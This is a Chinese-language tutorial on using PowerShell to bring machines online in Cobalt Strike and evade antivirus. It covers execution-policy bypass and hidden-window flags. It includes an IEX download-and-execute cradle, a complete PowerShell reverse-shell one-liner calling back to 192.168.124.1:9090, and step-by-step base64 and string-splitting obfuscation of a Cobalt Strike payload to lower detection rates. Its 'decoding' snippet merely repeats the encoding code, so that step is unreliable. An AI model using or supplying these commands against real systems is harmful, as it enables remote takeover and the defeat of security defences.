powershell上线cs
1、前置知识
1.1、powershell常见命令介绍
-Command 需要执行的代码 -ExecutionPolicy 设置默认的执行策略,一般使用Bypass -EncodedCommand 执行Base64代码 -File 这是需要执行的脚本名 -NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面 -NoLogo 不输出PS的Banner信息 -Noninteractive 不开启交互式的会话 -NoProfile 不使用当前用户使用的配置文件 -Sta 以单线程模式启动ps -Version 设置用什么版本去执行代码 -WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden
1.2、关键参数详解
- -command/encodedcommand:命令执行参数
-command(-c)用法:powershell.exe -command ls
-encodedcommand(-enc)用法:powershell.exe -encodedcommand base64命令
$fileContent = "所要编码的脚本" $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand
保存以上脚本为*.ps1,执行powershell *.ps1可以获取base64加密的命令。
执行命令:
- -executionpolicy(-ep):设置执行策略
-executionpolicy(-ep) 用法:powershell.exe -executionpolicy 策略
powershell有六种执行策略: Unrestricted 权限最高,可以不受限制执行任意脚本 Restricted 默认策略,不允许任意脚本的执行 AllSigned 所有脚本必须经过签名运行 RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名 Bypass 没有任何限制和提示 Undefined 没有设置脚本的策略
windows默认执行策略为Restricted,因此在执行脚本时会存在报错行为。
powershell 2.ps1
使用-executionpolicy结合策略可以进行绕过。
powershell -executionpolicy bypass 2.ps1
Get-ExecutionPolicy可以查询当前策略
powershell Get-ExecutionPolicy
Set-ExecutionPolicy 可以设置当前策略
powershell Get-ExecutionPolicy 策略
- invove-expression(IEX):接受字符串,执行命令。
powershell IEX('命令')用法:执行字符串内容。
常见用法:
powershell IEX(New-Object Net.WebClient).DownloadString("http://xxxx/1.ps1")
1.ps1:
远程访问并执行1.ps
文件下载:
powershell (Invoke-WebRequest -Uri "http://xxx/1.ps1"-OutFile "C:/1.ps1")
powershell (new-object System.Net.WebClient).DownloadFile('http://xxx/1.ps1','C:/1.ps1')
- -noprofile(nop):不使用当前用户使用的配置文件
常见用法:
powershell -noprofile
2、powershell实战常见命令
本地执行:
- exe -ExecutionPolicy Bypass -File xxx.ps1
绕过本地权限执行文件
- exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
本地隐藏绕过权限执行脚本
远程执行:
- exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
用IEX下载远程PS1脚本绕过权限执行
- exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://xx/a'))"
cs上线命令
powershell反弹shell:
powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
3、powershell上线cs之免杀
方法一:混淆免杀
步骤一:使用cs生成payload:*.ps1
当前查杀率:
步骤二:打开*.ps1,将$DoIt参数值进行base64混淆处理。
编码代码:
$string='$DoIt参数值' $bytes = [System.Text.Encoding]::UTF8.GetBytes($string); $encoded = [System.Convert]::ToBase64String($bytes); $encoded > 2.txt
解码代码:
$string='$DoIt参数值' $bytes = [System.Text.Encoding]::UTF8.GetBytes($string); $encoded = [System.Convert]::ToBase64String($bytes); $encoded > 2.txt
步骤三:首先对$DoIt参数值进行base64编码。
步骤四:构造解码代码,其中$decode等效于最原始的$DoIt
使用如上格式修改*.ps1
步骤五:执行修改后的ps1文件,可以直接上线cs
查杀率:
步骤六:删除Set-StrictMode -Version 2,可以看到查杀率为2
步骤七:将base64字段分开,可以完全绕过并可以上线cs。
查杀率(暂时绕不过赛门铁克,待补充):